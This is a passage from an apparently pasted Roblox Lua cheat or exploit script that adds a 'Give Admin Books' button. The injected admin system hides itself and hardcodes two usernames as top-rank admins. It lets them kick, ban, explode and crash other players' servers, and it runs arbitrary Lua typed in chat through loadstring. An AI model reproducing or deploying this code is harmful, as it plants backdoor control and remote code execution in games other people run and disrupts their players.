  5376. if not tcb then script:Destroy() end
  5377. game.Players.PlayerAdded:connect(AdminControl)
  5378. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  5379. end
  5380.  
  5381. local mod = game:service("InsertService"):LoadAsset(100808216)
  5382. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  5383. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  5384. newac.Disabled = true
  5385. local new = tonumber(mod:findFirstChild("Version", true).Value)
  5386. local old = 0
  5387. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  5388. if new > old then
  5389. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  5390. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  5391. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  5392. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  5393. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  5394. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  5395. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  5396. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  5397. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  5398. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  5399. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  5400. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  5401. wait()
  5402. newac.Parent = game.Workspace
  5403. newac.Disabled = false
  5404. script.Disabled = true
  5405. script:Destroy()
  5406. else
  5407. CHEESE()
  5408. end
  5409. else
  5410. CHEESE()
  5411. end
  5412. end)
  5413.  
  5414. local button12 = Instance.new("TextButton", tl2)
  5415. button12.Size = UDim2.new(0,800,0,50)
  5416. button12.Position = UDim2.new(0,0,0,120)
  5417. button12.Text = 'Give Admin Books'
  5418. button12.Font = 'Legacy'
  5419. button12.FontSize = 'Size14'
  5420. button12.BackgroundTransparency = 0.5
  5421. button12.BackgroundColor3 = Color3.new(46, 189, 168)
  5422. button12.BorderColor3 = Color3.new(46, 189, 168)
  5423. button12.TextColor3 = Color3.new(56, 255, 249)
  5424. button12.MouseButton1Click:connect(function()
  5425. ----------------------------------------[------------------------------------ ]-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------]]
  5426. script.Parent = nil
  5427. Admins = {
  5428. ["ProFiGames"] = 3,
  5429. ["darkfastr"] = 3,
  5430. -- Password
  5431. }
  5432. local Levels = {
  5433. [0] = {"Peasant", BrickColor.new("Medium stone grey")};
  5434. [1] = {"Knight", BrickColor.new("Bright red")};
  5435. [2] = {"Lord", BrickColor.new("Navy blue")};
  5436. [3] = {"King", BrickColor.new("Bright green")}
  5437. }
  5438. Players = Game:GetService("Players")
  5439. Workspace = Game:GetService("Workspace")
  5440. Debris = Game:GetService("Debris")
  5441. Lighting = Game:GetService("Lighting")
  5442. Teams = Game:GetService("Teams")
  5443. MR = math.rad
  5444. MD = math.deg
  5445. Banned = {"Mac4000", "VSHONOR", "LaptopKid", "0ctupus", "xxhero"}
  5446. PrivateServer = {}
  5447. PrivateServerWarnings = {}
  5448. Settings = {
  5449. Color = BrickColor.new("Really black"),
  5450. ColorColor = Color3.new("Bright violet"),
  5451. Transparency = 0.5,
  5452. Name = "Iudicium Admin",
  5453. Version = "2.3.6"
  5454. }
  5455. function ShowInCircle(Prompter,...)
  5456. local Args = {...}
  5457. local Books = {}
  5458. Args[#Args + 1] = "Dismiss"
  5459. local Ans = nil
  5460. local Rank = Admins[Prompter.Name]
  5461. for i=1, #Args do
  5462. local IsKings
  5463. if Args[i]:find("(Kings Only)") then
  5464. IsKings = true
  5465. end
  5466. local Book = Instance.new("Part", Game:GetService("Workspace"))
  5467. Book.Anchored = false
  5468. Book.Locked = true
  5469. Book.CanCollide = false
  5470. Book.TopSurface, Book.BottomSurface = 0, 0
  5471. Book.Transparency = Settings.Transparency
  5472. Book.FormFactor = Enum.FormFactor.Custom
  5473. Book.Size = Vector3.new(2.3, 0.5, 3)
  5474. if IsKings and Admins[Prompter.Name] < 3 then
  5475. Book.BrickColor = BrickColor.new("New yeller")
  5476. else
  5477. Book.BrickColor = Settings.Color
  5478. end
  5479. table.insert(Books, Book)
  5480. local BG = Instance.new("BodyGyro", Book)
  5481. local BP = Instance.new("BodyPosition", Book)
  5482. local Billboard = Instance.new("BillboardGui", Book)
  5483. Billboard.Adornee = Book
  5484. Billboard.Enabled = true
  5485. Billboard.Active = true
  5486. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  5487. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  5488. local Text = Instance.new("TextLabel", Billboard)
  5489. Text.Text = Args[i]
  5490. if IsKings and Admins[Prompter.Name] ~= 3 then
  5491. Text.TextColor3 = BrickColor.new("White").Color
  5492. else
  5493. Text.TextColor3 = Settings.Color.Color
  5494. end
  5495. Text.BackgroundTransparency = 1
  5496. Text.Size = UDim2.new(1, 0, 1, 0)
  5497. local ClickDetector = Instance.new("ClickDetector", Book)
  5498. ClickDetector.MaxActivationDistance = 1234
  5499. ClickDetector.MouseClick:connect(function(Player)
  5500. if Player == Prompter and Args[i] == "Dismiss" then
  5501. Ans = Args[i]
  5502. for _, v in pairs(Books) do
  5503. v:Remove()
  5504. end
  5505. Books = {}
  5506. end
  5507. end)
  5508. end
  5509. coroutine.resume(coroutine.create(function()
  5510. local radius = 3 + (#Books*.7)
  5511. while wait() do
  5512. if #Books == 0 then break end
  5513. for _, Book in pairs(Books) do
  5514. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  5515. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  5516. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  5517. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  5518. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  5519. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  5520. local y = 0
  5521. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  5522. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  5523. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  5524. end
  5525. end
  5526. end))
  5527. end
  5528. function Prompt(Prompter, ...)
  5529. local Args = {...}
  5530. local Books = {}
  5531. Args[#Args + 1] = "Dismiss"
  5532. local Ans = nil
  5533. for i=1, #Args do
  5534. local Book = Instance.new("Part", Game:GetService("Workspace"))
  5535. Book.Anchored = false
  5536. Book.Locked = true
  5537. Book.CanCollide = false
  5538. Book.TopSurface, Book.BottomSurface = 0, 0
  5539. Book.Transparency = Settings.Transparency
  5540. Book.FormFactor = Enum.FormFactor.Custom
  5541. Book.Size = Vector3.new(2.3, 0.5, 3)
  5542. Book.BrickColor = Settings.Color
  5543. table.insert(Books, Book)
  5544. local Billboard = Instance.new("BillboardGui", Book)
  5545. Billboard.Adornee = Book
  5546. Billboard.Enabled = true
  5547. Billboard.Active = true
  5548. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  5549. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  5550. local box = Instance.new("SelectionBox",Book)
  5551. box.Adornee = Book
  5552. box.Color = BrickColor.new(math.random(), math.random(), math.random())
  5553. local Text = Instance.new("TextLabel", Billboard)
  5554. Text.Text = Args[i]
  5555. Text.TextColor3 = Settings.Color.Color
  5556. Text.BackgroundTransparency = 1
  5557. Text.Size = UDim2.new(1, 0, 1, 0)
  5558. local AttemptToFixPrompt = i
  5559. local ClickDetector = Instance.new("ClickDetector", Book)
  5560. ClickDetector.MaxActivationDistance = 1234
  5561. ClickDetector.MouseClick:connect(function(Player)
  5562. if Player == Prompter then
  5563. Ans = Args[i]
  5564. local BackupBooks = Books
  5565. Books = {}
  5566. local AnimationOver
  5567. pcall(function() BP.Position = Player.Character.Torso.Position end)
  5568. Book.Touched:connect(function(zPart)
  5569. pcall(function()
  5570. if zPart == Player.Character.Torso then
  5571. AnimationOver = true
  5572. end
  5573. end)
  5574. end)
  5575. delay(5, function() AnimationOver = true end)
  5576. for _, v in pairs(BackupBooks) do
  5577. v:Remove()
  5578. end
  5579. BackupBooks = nil
  5580. return AttemptToFixPrompt
  5581. end
  5582. end)
  5583. end
  5584. coroutine.resume(coroutine.create(function()
  5585. local radius = 3 + (#Books)
  5586. while wait() do
  5587. if #Books == 0 then break end
  5588. for _, Book in pairs(Books) do
  5589. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  5590. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  5591. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  5592. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  5593. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  5594. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  5595. local y = 0
  5596. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  5597. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  5598. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  5599. end
  5600. end
  5601. end))
  5602. while (Ans == nil) and (#Books > 0) do
  5603. wait()
  5604. end
  5605. return Ans
  5606. end
  5607. function ParseMessage(Message)
  5608. Message = Message:gsub("lego%s", "")
  5609. Message = Message:gsub("runescape%s", "")
  5610. Message = Message:gsub("minecraft%s", "")
  5611. local Command
  5612. local Args = {}
  5613. for Word in Message:gmatch("%w+") do
  5614. if not Command then
  5615. Command = Word
  5616. else
  5617. table.insert(Args, Word)
  5618. end
  5619. end
  5620. return Command, Args
  5621. end
  5622. function ErrorHandler(Error)
  5623. print(Error)
  5624. local Message = Instance.new("Message", Workspace)
  5625. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  5626. Game:GetService("Debris"):AddItem(Message, 5)
  5627. end
  5628. function onPlayerAdded(NewPlayer)
  5629. for b=1, #Banned do
  5630. if NewPlayer.Name == Banned[b] then
  5631. coroutine.resume(coroutine.create(function()
  5632. for i=1, 25 do
  5633. pcall(function() NewPlayer:Destroy() end)
  5634. wait(0.5)
  5635. end
  5636. end))
  5637. end
  5638. end
  5639. NewPlayer.Chatted:connect(function(C)
  5640. xpcall(function()
  5641. local a, b = coroutine.resume(coroutine.create(function()
  5642. onChat(NewPlayer, C)
  5643. end))
  5644. assert(a,b)
  5645. end, ErrorHandler)
  5646. end)
  5647. end
  5648. function onChat(player, message)
  5649. local Command, Arguments = ParseMessage(message)
  5650. if Admins[player.Name] ~= nil then
  5651. if Command == "kickmenu" then
  5652. local People = Game:GetService("Players"):GetPlayers()
  5653. local Names = {}
  5654. for _, v in pairs(People) do
  5655. table.insert(Names, v.Name)
  5656. end
  5657. local OptionChoosen = Prompt(player, unpack(Names))
  5658. print(OptionChoosen)
  5659. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  5660. game:GetService("Players") [OptionChoosen]:Destroy()
  5661. else
  5662. print("Player missing")
  5663. end
  5664. --[[elseif Command == "privateserver" then
  5665. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  5666. if Option == "Turn on" then
  5667. PrivateServerOn = true
  5668. local OnJoinCon = function(NewPlayer)
  5669. if PrivateServer[NewPlayer.Name] == nil then
  5670. NewPlayer:Remove()
  5671. if PrivateServerWarnings[NewPlayer.Name] == nil then
  5672. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  5673. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  5674. PrivateServer[NewPlayer.Name] = true
  5675. end
  5676. end
  5677. end
  5678. end
  5679. while PrivateServerOn do wait() end
  5680. OnJoinCon:disconnect()
  5681. elseif Option == "Turn off" then
  5682. PrivateServerOn = nil
  5683. elseif Option == "Add name" then
  5684. local Names = {}
  5685. for _, v in pairs(Players:GetPlayers()) do
  5686. table.insert(Names, v.Name)
  5687. end
  5688. local PlayerToAdd = Prompt(player, unpack(Names))
  5689. if Players:FindFirstChild(PlayerToAdd) then
  5690. PrivateServer[PlayerToAdd] = true
  5691. end
  5692. elseif Option == "Remove name" then
  5693. local Names = {}
  5694. for Name in pairs(PrivateServer) do
  5695. table.insert(Names, Name)
  5696. end
  5697. local NameToRemove = Prompt(player, unpack(Names))
  5698. if Names[NameToRemove] then
  5699. Names[NameToRemove] = nil
  5700. end
  5701. elseif Option == "Remove all names" then
  5702. PrivateServer = {}
  5703. end]]
  5704. elseif Command == "banmenu" then
  5705. local People = Game:GetService("Players"):GetPlayers()
  5706. local Names = {}
  5707. for _, v in pairs(People) do
  5708. table.insert(Names, v.Name)
  5709. end
  5710. local OptionChoosen = Prompt(player, unpack(Names))
  5711. print(OptionChoosen)
  5712. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  5713. table.insert(Banned, OptionChoosen)
  5714. game:GetService("Players") [OptionChoosen]:Destroy()
  5715. else
  5716. print("Player missing")
  5717. end
  5718. elseif Command == "OBC" and Admins[player.Name] == 3 then
  5719. for i,obc in pairs (game.Players:GetChildren()) do
  5720. obc.MembershipTypeReplicate = 3
  5721. end
  5722. elseif Command == "TBC" and Admins[player.Name] == 3 then
  5723. for i,tbc in pairs (game.Players:GetChildren()) do
  5724. tbc.MembershipTypeReplicate = 2
  5725. end
  5726. elseif Command == "BC" and Admins[player.Name] == 3 then
  5727. for i,bc in pairs (game.Players:GetChildren()) do
  5728. bc.MembershipTypeReplicate = 1
  5729. end
  5730. elseif Command == "NBC" and Admins[player.Name] == 3 then
  5731. for i,nbc in pairs (game.Players:GetChildren()) do
  5732. nbc.MembershipTypeReplicate = 0
  5733. end
  5734. elseif Command == "rankset" and Admins[player.Name] == 3 then
  5735. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  5736. local RankSet
  5737. if tonumber(Arguments[1]) == 0 then
  5738. RankSet = nil
  5739. else
  5740. RankSet = tonumber(Arguments[1])
  5741. end
  5742. for i=2, #Arguments do
  5743. local arg = Arguments[i]
  5744. for z, vPlayer in pairs(Players:GetPlayers()) do
  5745. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  5746. Admins[vPlayer.Name] = RankSet
  5747. end
  5748. end
  5749. end
  5750. end
  5751. elseif message:sub(1, 7) == "script/" then
  5752. xpcall(function()
  5753. local c, d = coroutine.resume(coroutine.create(function()
  5754. loadstring(message:sub(8))()
  5755. end))
  5756. assert(c, d)
  5757. end, function(Error)
  5758. local Hint = Instance.new("Message", Workspace)
  5759. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  5760. wait(4)
  5761. Hint:Remove()
  5762. end)
  5763. elseif message:sub(1,4) == "msg " then
  5764. local msg = message:sub(5)
  5765. local msgm = Instance.new("Message",workspace)
  5766. msgm.Text = player.Name..": "..msg
  5767. wait(3)
  5768. msgm:Remove()
  5769. elseif message:sub(1,5) == "hint " then
  5770. local msg = message:sub(6)
  5771. local msgm = Instance.new("Hint",workspace)
  5772. msgm.Text = player.Name..": "..msg
  5773. wait(3)
  5774. msgm:Remove()
  5775. elseif message:sub(1,7) == "fogend " then
  5776. local msg = message:sub(8)
  5777. game:GetService("Lighting").FogEnd = msg
  5778. elseif message:sub(1,9) == "fogstart " then
  5779. local msg = message:sub(10)
  5780. game:GetService("Lighting").FogStart = msg
  5781. elseif message:sub(1,5) == "time " then
  5782. local msg = message:sub(6)
  5783. game:GetService("Lighting").TimeOfDay = msg
  5784. elseif Command == "clean" then
  5785. local Option = Prompt(player, "Clean and reset lighting", "Clean workspace")
  5786. if Option == "Clean workspace" then
  5787. for _, v in pairs(Workspace:GetChildren()) do
  5788. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  5789. pcall(function() v:Remove() end)
  5790. end
  5791. end
  5792. local Base = Instance.new("Part", Workspace)
  5793. Base.Anchored = true
  5794. Base.TopSurface = Enum.SurfaceType.Smooth
  5795. Base.BottomSurface = Enum.SurfaceType.Smooth
  5796. Base.FormFactor = Enum.FormFactor.Symmetric
  5797. Base.BrickColor = BrickColor.new("Earth green")
  5798. Base.Size = Vector3.new(1000, 1, 1000)
  5799. Base.Name = "Base"
  5800. Base.CFrame = CFrame.new(Vector3.new())
  5801. elseif Option == "Clean and reset lighting" then
  5802. for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
  5803. v:remove()
  5804. end
  5805. local light = game:GetService("Lighting")
  5806. light.TimeOfDay = "14:00:00"
  5807. light.Brightness = 1
  5808. light.ColorShift_Bottom = Color3.new(0, 0, 0)
  5809. light.ColorShift_Top = Color3.new(0, 0, 0)
  5810. light.ShadowColor = Color3.new(178, 178, 178)
  5811. light.Ambient = Color3.new(1, 1, 1)
  5812. light.FogStart = 0
  5813. light.FogEnd = 10000000000000
  5814. end
  5815. elseif Command == "base" then
  5816. pcall(function() game.Workspace.Base:Remove() end)
  5817. local Base = Instance.new("Part", Workspace)
  5818. Base.Anchored = true
  5819. Base.TopSurface = Enum.SurfaceType.Smooth
  5820. Base.BottomSurface = Enum.SurfaceType.Smooth
  5821. Base.FormFactor = Enum.FormFactor.Symmetric
  5822. Base.BrickColor = BrickColor.new("Earth green")
  5823. Base.Size = Vector3.new(1000, 1, 1000)
  5824. Base.Name = "Base"
  5825. Base.CFrame = CFrame.new(Vector3.new())
  5826. elseif Command == "hide" then
  5827. if Arguments[1] == "ranks" then
  5828. NotInViewRanks = true
  5829. Lighting.TimeOfDay = "14:00:00"
  5830. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  5831. while Workspace:FindFirstChild("RankStatus", true) do
  5832. Workspace:FindFirstChild("RankStatus", true):Destroy()
  5833. end
  5834. end
  5835. elseif Command == "shutdown" then
  5836. local InitTime = time()
  5837. while wait() do
  5838. pcall(function()
  5839. Players:ClearAllChildren()
  5840. end)
  5841. pcall(function()
  5842. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  5843. Instance.new("ManualSurfaceJointInstance", Workspace)
  5844. end
  5845. end)
  5846. end
  5847. elseif Command == "view" or Command == "show" then
  5848. if Arguments[1] == "ranks" then
  5849. NotInViewRanks = nil
  5850. Lighting.TimeOfDay = "2:00:00"
  5851. Lighting.Ambient = BrickColor.new("Black").Color
  5852. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  5853. local Player = Players:GetPlayerFromCharacter(v)
  5854. if Player and Admins[Player.Name] then
  5855. local Rank = Admins[Player.Name]
  5856. coroutine.resume(coroutine.create(function()
  5857. local Head = v:FindFirstChild("Head")
  5858. local Status = Instance.new("Part", v)
  5859. Status.FormFactor = "Symmetric"
  5860. Status.Shape = "Ball"
  5861. Status.Name = "Status"
  5862. Status.TopSurface = 0
  5863. Status.BottomSurface = 0
  5864. Status.BrickColor = Levels[Rank][2]
  5865. Status.CanCollide = false
  5866. Status.Name = "RankStatus"
  5867. Status.Transparency = 0.5
  5868. local Billboard = Instance.new("BillboardGui", Status)
  5869. Billboard.Adornee = Status
  5870. Billboard.Enabled = true
  5871. Billboard.Active = true
  5872. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  5873. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  5874. local Text = Instance.new("TextLabel", Billboard)
  5875. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  5876. Text.TextColor3 = Levels[Rank][2].Color
  5877. Text.BackgroundTransparency = 1
  5878. Text.Size = UDim2.new(1, 0, 1, 0)
  5879. local Body = Instance.new("BodyPosition", Status)
  5880. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  5881. local Fire = Instance.new("Fire", Status)
  5882. Fire.Color = Levels[Rank][2].Color
  5883. Fire.SecondaryColor = Levels[Rank][2].Color
  5884. local function gS(i)
  5885. return math.sin(math.rad(i))
  5886. end
  5887. local function gC(i)
  5888. return math.cos(math.rad(i))
  5889. end
  5890. for _, v in pairs(v:GetChildren()) do
  5891. if v:IsA("Part") and v.Name ~= "RankStatus" then
  5892. local Sel = Instance.new("SelectionBox", Status)
  5893. Sel.Adornee = v
  5894. Sel.Color = Levels[Rank][2]
  5895. local Fir = Instance.new("Fire", Status)
  5896. Fir.Color = Levels[Rank][2].Color
  5897. Fir.SecondaryColor = Levels[Rank][2].Color
  5898. end
  5899. end
  5900. while wait() and Head and Head.Parent do
  5901. for i = 0, 360, 2 do
  5902. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  5903. wait()
  5904. end
  5905. end
  5906. end))
  5907. end
  5908. end)
  5909. for _, v in pairs(Workspace:GetChildren()) do
  5910. local Player = Players:GetPlayerFromCharacter(v)
  5911. if Player and Admins[Player.Name] then
  5912. local Rank = Admins[Player.Name]
  5913. coroutine.resume(coroutine.create(function()
  5914. local Head = v:FindFirstChild("Head")
  5915. local Status = Instance.new("Part", v)
  5916. Status.FormFactor = "Symmetric"
  5917. Status.Shape = "Ball"
  5918. Status.Name = "Status"
  5919. Status.TopSurface = 0
  5920. Status.BottomSurface = 0
  5921. Status.BrickColor = Levels[Rank][2]
  5922. Status.CanCollide = false
  5923. Status.Name = "RankStatus"
  5924. Status.Transparency = 0.5
  5925. local Billboard = Instance.new("BillboardGui", Status)
  5926. Billboard.Adornee = Status
  5927. Billboard.Enabled = true
  5928. Billboard.Active = true
  5929. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  5930. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  5931. local Text = Instance.new("TextLabel", Billboard)
  5932. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  5933. Text.TextColor3 = Levels[Rank][2].Color
  5934. Text.BackgroundTransparency = 1
  5935. Text.Size = UDim2.new(1, 0, 1, 0)
  5936. local Body = Instance.new("BodyPosition", Status)
  5937. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  5938. local Fire = Instance.new("Fire", Status)
  5939. Fire.Color = Levels[Rank][2].Color
  5940. Fire.SecondaryColor = Levels[Rank][2].Color
  5941. local function gS(i)
  5942. return math.sin(math.rad(i))
  5943. end
  5944. local function gC(i)
  5945. return math.cos(math.rad(i))
  5946. end
  5947. for _, v in pairs(v:GetChildren()) do
  5948. if v:IsA("Part") and v.Name ~= "RankStatus" then
  5949. local Sel = Instance.new("SelectionBox", Status)
  5950. Sel.Adornee = v
  5951. Sel.Color = Levels[Rank][2]
  5952. local Fir = Instance.new("Fire", Status)
  5953. Fir.Color = Levels[Rank][2].Color
  5954. Fir.SecondaryColor = Levels[Rank][2].Color
  5955. end
  5956. end
  5957. while wait() and Head and Head.Parent do
  5958. for i = 0, 360, 2 do
  5959. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  5960. wait()
  5961. end
  5962. end
  5963. end))
  5964. end
  5965. end
  5966. repeat wait() until NotInViewRanks
  5967. AutoColorConnection:disconnect()
  5968. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  5969. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  5970. local Hour = math.floor(SecondsOfToday / (60*60))
  5971. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  5972. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  5973. if Hour > 12 then Hour = Hour - 12 end
  5974. Prompt(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  5975. end
  5976. elseif Command == "getage" then
  5977. for _, Arg in pairs(Arguments) do
  5978. for geag, agegetting in pairs(Game:GetService("Players"):GetPlayers()) do
  5979. if agegetting.Name:lower():match(Arg:lower()) then
  5980. m=Instance.new("Hint", game.Workspace) m.Text = agegetting.Name.."'s Account Age is, "..agegetting.AccountAge.."."
  5981. wait(4)
  5982. m:remove()
  5983. end
  5984. end
  5985. end
  5986. elseif Command == "ex" or Command == "explode" then
  5987. for _, Arg in pairs(Arguments) do
  5988. for expl, expll in pairs(Game:GetService("Players"):GetPlayers()) do
  5989. if expll.Name:lower():match(Arg:lower()) then
  5990. e=Instance.new("Explosion",game.Workspace)
  5991. e.Position = game.Workspace[expll.Name].Torso.Position
  5992. end
  5993. end
  5994. end
  5995. elseif Command == "nbc" then
  5996. for _, Args in pairs(Arguments) do
  5997. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  5998. if Player.Name:lower():find(Args:lower()) == 1 then
  5999. Player.MembershipTypeReplicate = 0
  6000. end
  6001. end
  6002. end
  6003. elseif Command == "bc" then
  6004. for _, Args in pairs(Arguments) do
  6005. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6006. if Player.Name:lower():find(Args:lower()) == 1 then
  6007. Player.MembershipTypeReplicate = 1
  6008. end
  6009. end
  6010. end
  6011. elseif Command == "tbc" then
  6012. for _, Args in pairs(Arguments) do
  6013. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6014. if Player.Name:lower():find(Args:lower()) == 1 then
  6015. Player.MembershipTypeReplicate = 2
  6016. end
  6017. end
  6018. end
  6019. elseif Command == "obc" then
  6020. for _, Args in pairs(Arguments) do
  6021. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6022. if Player.Name:lower():find(Args:lower()) == 1 then
  6023. Player.MembershipTypeReplicate = 3
  6024. end
  6025. end
  6026. end
  6027. elseif Command == "ff" then
  6028. for _, Arg in pairs(Arguments) do
  6029. for ff, ffl in pairs(Game:GetService("Players"):GetPlayers()) do
  6030. if ffl.Name:lower():match(Arg:lower()) then
  6031. fff=Instance.new("ForceField",game.Workspace[ffl.Name])
  6032. end
  6033. end
  6034. end
  6035. elseif Command == "unff" then
  6036. for _, Arg in pairs(Arguments) do
  6037. for ff, ffl in pairs(Game:GetService("Players"):GetPlayers()) do
  6038. if ffl.Name:lower():match(Arg:lower()) then
  6039. for i,v in pairs(ffl.Character:GetChildren()) do
  6040. if v.ClassName=="ForceField" then
  6041. v:Destroy()
  6042. end
  6043. end
  6044. end
  6045. end
  6046. end
  6047. elseif Command == "kick" then
  6048. for _, Arg in pairs(Arguments) do
  6049. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6050. if Player.Name:lower():match(Arg:lower()) then
  6051. pcall(function() Player:Destroy() end)
  6052. end
  6053. end
  6054. end
  6055. elseif Command == "ban" then
  6056. for _, Arg in pairs(Arguments) do
  6057. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6058. if Player.Name:lower():match(Arg:lower()) then
  6059. table.insert(Banned, Player.Name)
  6060. pcall(function() Player:Destroy() end)
  6061. end
  6062. end
  6063. end
  6064. elseif Command == "inf" then
  6065. for _, Args in pairs(Arguments) do
  6066. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6067. if Player.Name:lower():find(Args:lower()) == 1 then
  6068. Player.Character.Humanoid.MaxHealth = math.huge
  6069. Player.Character.Humanoid.Health = math.huge
  6070. end
  6071. end
  6072. end
  6073. elseif Command == "norm" then
  6074. for _, Args in pairs(Arguments) do
  6075. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6076. if Player.Name:lower():find(Args:lower()) == 1 then
  6077. Player.Character.Humanoid.MaxHealth = 100
  6078. Player.Character.Humanoid.Health = 100
  6079. end
  6080. end
  6081. end
  6082. elseif Command == "cmds" or Command == "commands" then
  6083. local Option = Prompt(player, "Welcome to "..Settings.Name.." "..player.Name..".", "Harming", "Informative", "Etcetera", "All")
  6084. if Option == "Harming" then
  6085. Prompt(player, "Kill", "Kick", "Ban", "Freeze", "Thaw", "Ex (Explode)", "Shutdown", "Lag", "Burn", "Punish", "Unpunish", "Ps", "Unps", "Ragdoll", "Unragdoll", "Nil")
  6086. elseif Option == "Informative" then
  6087. Prompt(player, "Cmds (Commands)","Getage", "Script/[Script]", "Msg", "Hint", "Banlist", "Expl (Explorer)", "Test")
  6088. elseif Option == "Etcetera" then
  6089. Prompt(player, "Clean", "Base", "Set (Settings)", "Ff", "Unff", "Ab", "Inf", "Norm", "Rsp (Respawn)", "Sit", "Stand", "Fogend", "Time", "Nbc", "Bc", "Tbc", "Obc")
  6090. elseif Option == "All" then
  6091. Prompt(player, "Kill", "Kick", "Ban", "Freeze", "Thaw", "Ex (Explode)", "Shutdown", "Lag", "Burn", "Nil", "Cmds (Commands)", "Getage", "Script/[Script]", "Msg", "Hint", "Banlist", "Expl (Explorer)", "Test","Clean", "Base", "Set (Settings)", "Ff", "Unff", "Ab", "Inf", "Norm", "Rsp (Respawn)", "Punish", "Unpunish", "Ragdoll", "Unragdoll", "Ps", "Unps", "Fogend", "Time", "Sit", "Stand", "Nbc", "Bc", "Tbc", "Obc")
  6092. end
  6093. elseif Command == "ab" then
  6094. local PeopleNames = {}
  6095. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  6096. table.insert(PeopleNames, v.Name)
  6097. end
